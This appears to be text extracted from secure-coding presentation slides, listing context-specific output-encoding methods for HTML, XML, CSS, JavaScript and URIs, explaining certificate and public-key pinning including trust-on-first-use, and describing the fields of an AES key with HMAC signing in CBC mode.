  9. HTML Contexts Encode#forHtmlContent(String) Encode#forHtmlAttribute(String) Encode#forHtmlUnquotedAttribute(String) XML Contexts Encode#forXml(String) Encode#forXmlContent(String) Encode#forXmlAttribute(String) Encode#forXmlComment(String) Encode#forCDATA(String) CSS Contexts Encode#forCssString(String) Encode#forCssUrl(String) JavaScript Contexts Encode#forJava(String) Encode#forJavaScript(String) Encode#forJavaScriptAttribute(String) JavaScript attribute Encode#forJavaScriptBlock(String) JavaScript block Encode#forJavaScriptSource(String) JavaScript source URI/URL contexts Encode#forUri(String) Encode#forUriComponent(String)
  10. Pinning is a key continuity scheme, and the idea is to either (1) carry around a copy of the server’s public key; or (2) note of the server’s public key on first use (Trust-on-First-Use, Tofu). The former is great if you are distributing a dedicated client-server application since you know the server’s certificate or public key in advance. The latter is useful when no a priori knowledge exists, such as SSH or a Browser. Both detect the unexpected change that occurs when an imposter with a fake certificate attempts to act like the real server.   While you have a choice to pin the certificate or public key, it’s often best to pin the public key. That is because some companies, such as Google, rotate its certificate regularly (every 30 days or so) but re-certifies the inner public key.
  11. AES Keys AES provides authenticated encryption through use of HMAC_SHA1 and AES. AES keys consist of the following fields: &quot;mode&quot;: A CipherMode. Currently &quot;CBC&quot; is the only mode supported. &quot;aesKeyString&quot;: A WebSafeBase64 representation of the raw AES key bytes. &quot;hmacKey&quot;: A JSON representation of an HmacKey used to sign ciphertexts. The block size is 128 bits.